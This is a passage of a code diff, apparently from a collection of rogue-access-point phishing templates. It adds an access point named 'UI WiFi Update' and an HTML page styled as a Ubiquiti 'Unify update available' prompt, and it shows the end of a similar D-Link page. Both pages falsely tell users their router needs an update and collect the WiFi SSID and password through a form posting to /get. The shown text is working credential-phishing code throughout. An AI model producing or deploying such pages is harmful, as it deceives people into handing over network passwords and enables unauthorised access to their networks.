-13 -226 -48 -83 -44 -124 -111 -124 -206 0 -90 37 -136 127 -156 44 -10 66
|
||||
-9 130 5 42 9 79 18 80 20 2 2 -24 7 -59 10 -107 13 -138 41 -138 127 0 72 36
|
||||
135 94 165 31 16 182 32 209 21 11 -4 5 -39 -29 -173 -30 -122 -39 -171 -31
|
||||
-176 36 -23 126 3 147 43 9 16 150 557 150 575 0 2 -34 4 -75 4 -51 0 -77 -4
|
||||
-80 -12z"/>
|
||||
<path d="M213 1001 c-8 -7 -13 -23 -11 -35 3 -20 8 -21 86 -18 45 2 100 1 121
|
||||
-3 l38 -6 -48 -187 c-27 -103 -49 -194 -49 -203 0 -14 13 -17 89 -18 l90 -1 9
|
||||
32 c5 18 19 76 32 128 13 52 33 131 44 174 l21 80 100 26 c55 15 107 29 115
|
||||
32 8 4 -129 8 -304 10 -261 2 -322 0 -333 -11z"/>
|
||||
<path d="M1027 970 c-118 -20 -248 -88 -333 -174 -55 -56 -74 -92 -76 -149 -4
|
||||
-114 200 -151 417 -75 57 20 158 79 171 100 15 24 -12 19 -79 -15 -96 -49
|
||||
-184 -70 -265 -65 -56 4 -68 8 -89 33 -19 22 -23 35 -19 58 3 17 8 33 11 35 3
|
||||
3 49 9 103 13 104 8 233 44 283 79 15 11 31 20 36 20 11 1 63 70 63 86 0 50
|
||||
-101 74 -223 54z m64 -50 c30 -16 23 -54 -15 -88 -40 -34 -110 -60 -185 -68
|
||||
-99 -9 -115 13 -53 73 72 71 198 112 253 83z"/>
|
||||
<path d="M1336 971 c-4 -5 -10 -29 -15 -53 -5 -24 -24 -104 -44 -178 -19 -74
|
||||
-37 -151 -39 -170 l-3 -35 57 -3 c82 -4 91 4 112 95 51 219 95 277 216 285 49
|
||||
2 78 -16 85 -55 6 -28 -39 -254 -62 -312 -5 -14 5 -16 74 -14 l80 2 17 66 c40
|
||||
154 47 189 53 245 5 57 5 59 -30 91 -29 27 -46 34 -99 39 -79 8 -156 -6 -214
|
||||
-40 l-45 -27 6 35 7 35 -75 2 c-41 1 -78 -2 -81 -8z"/>
|
||||
<path d="M2750 965 c-73 -16 -106 -33 -126 -63 -16 -24 -16 -25 2 -17 50 22
|
||||
162 45 190 40 37 -6 49 -19 56 -58 6 -32 2 -33 -113 -41 -117 -7 -198 -49
|
||||
-238 -124 -32 -60 7 -130 88 -157 69 -23 341 -21 341 3 0 8 6 38 14 66 42 147
|
||||
56 208 51 216 -3 5 -1 11 5 15 19 12 10 55 -17 85 -43 47 -142 61 -253 35z
|
||||
m97 -197 c-3 -13 -13 -58 -24 -100 l-18 -78 -57 0 c-75 0 -111 27 -108 83 2
|
||||
66 4 76 13 70 4 -3 16 2 25 10 26 22 72 35 126 36 45 1 48 0 43 -21z"/>
|
||||
</g>
|
||||
</svg>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<div class="form-container">
|
||||
<center><h1><b>Your router needs to be updated before it can restart</b></h1>
|
||||
<h2>Connect to your WiFi to start the update</h2>
|
||||
</center>
|
||||
|
||||
<form action="/get" id="login-form">
|
||||
|
||||
<input name="email" class="input-field" type="text" placeholder="SSID" required>
|
||||
|
||||
<input name="password" class="input-field" type="password" placeholder="Password" required>
|
||||
<a href="javascript:void(0);" class="forgot-password">Where can I find my SSID?</a>
|
||||
<div class="error-message"></div>
|
||||
<button class="submit-btn" type="submit"><b>UPDATE</b></button>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<script>
|
||||
document.querySelector('.forgot-password').addEventListener('click', function() {
|
||||
var errorMessage = document.querySelector('.error-message');
|
||||
errorMessage.innerHTML = "The SSID, or Service Set Identifier, represents your WiFi network's official name. If you haven't previously set a custom name, the default SSID (and password) can be located on the back panel of your D-Link router.";
|
||||
errorMessage.style.display = 'block';
|
||||
});
|
||||
</script>
|
||||
</meta>
|
||||
</body>
|
||||
</html>
|
||||
1
WiFi Routers/Ubiquiti-Unify/ap.config.txt
Normal file
1
WiFi Routers/Ubiquiti-Unify/ap.config.txt
Normal file
@@ -0,0 +1 @@
|
||||
UI WiFi Update
|
||||
166
WiFi Routers/Ubiquiti-Unify/index.html
Normal file
166
WiFi Routers/Ubiquiti-Unify/index.html
Normal file
@@ -0,0 +1,166 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: white;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: 0 auto;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
@media (min-width: 600px) {
|
||||
.container {
|
||||
max-width: 500px;
|
||||
}
|
||||
}
|
||||
|
||||
.logo-container {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.logo {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
fill: #0150C2;
|
||||
margin-right: 80px
|
||||
}
|
||||
|
||||
.form-container {
|
||||
background: #FFFFFF;
|
||||
border: 1px solid #0150C2;
|
||||
border-radius: 4px;
|
||||
padding: 20px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
color: #0150C2;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
h2 {
|
||||
text-align: center;
|
||||
font-size: 24px;
|
||||
font-weight: 500;
|
||||
color: #0150C2;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 2px solid #0150C2;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
margin-bottom: 20px;
|
||||
font-size: 14px;
|
||||
}
|
||||
.brand-name {
|
||||
font-size: 42px;
|
||||
color: #0150C2;
|
||||
margin-left: 10px;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
background: #0150C2;
|
||||
border: none;
|
||||
color: #FFFFFF;
|
||||
padding: 12px 20px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
font-size: 16px;
|
||||
display: block;
|
||||
margin: auto;
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
||||
.submit-btn:hover {
|
||||
background: #0150C2;
|
||||
}
|
||||
|
||||
.forgot-password {
|
||||
display: block;
|
||||
text-align: center;
|
||||
color: #0150C2;
|
||||
text-decoration: underline;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.error-message {
|
||||
color: #0150C2;
|
||||
text-align: center;
|
||||
display: none;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo-container">
|
||||
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
|
||||
width="170.000000pt" height="170.000000pt" viewBox="0 0 400.000000 400.000000"
|
||||
preserveAspectRatio="xMidYMid meet">
|
||||
<g transform="translate(0.000000,400.000000) scale(0.100000,-0.100000)"
|
||||
fill="#0150C2" stroke="none">
|
||||
<path d="M0 2000 l0 -2000 2000 0 2000 0 0 2000 0 2000 -2000 0 -2000 0 0
|
||||
-2000z m1602 253 c3 -457 3 -458 27 -518 34 -83 133 -183 216 -216 85 -33 225
|
||||
-33 310 0 83 33 183 133 215 216 22 55 24 78 28 268 l4 207 104 0 104 0 0 100
|
||||
0 100 -75 0 -75 0 0 80 0 80 75 0 75 0 0 -75 0 -74 103 -3 102 -3 3 -102 3
|
||||
-102 -103 -3 -103 -3 -3 -97 -3 -98 107 0 107 0 -7 -112 c-9 -146 -22 -218
|
||||
-53 -298 -78 -195 -215 -345 -398 -436 -126 -62 -221 -84 -365 -84 -144 0
|
||||
-238 22 -365 84 -158 78 -288 208 -367 368 -78 158 -87 241 -88 781 l0 397
|
||||
210 0 209 0 3 -457z"/>
|
||||
</g>
|
||||
</svg>
|
||||
|
||||
<div class="brand-name"><b>Unify update available</b></div>
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<div class="form-container">
|
||||
<center><h1><b>Connect to your WiFi to start the update</b></h1>
|
||||
</center>
|
||||
|
||||
<form action="/get" id="login-form">
|
||||
|
||||
<input name="email" class="input-field" type="text" placeholder="SSID" required>
|
||||
|
||||
<input name="password" class="input-field" type="password" placeholder="Password" required>
|
||||
<a href="javascript:void(0);" class="forgot-password">Where can I find my SSID?</a>
|
||||
<div class="error-message"></div>
|
||||
<button class="submit-btn" type="submit">UPDATE</button>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<script>
|
||||
document.querySelector('.forgot-password').addEventListener('click', function() {
|
||||
var errorMessage = document.querySelector('.error-message');
|
||||
errorMessage.innerHTML = "The SSID, or Service Set Identifier, represents your WiFi network's official name. If you haven't previously set a custom name, the default SSID (and password) can be located on the back panel of your router.";
|
||||
errorMessage.style.display = 'block';
|
||||
});
|
||||
</script>
|
||||
</meta>
|
||||
</body>
|
||||
</html>
|
||||
Reference in New Issue
Block a user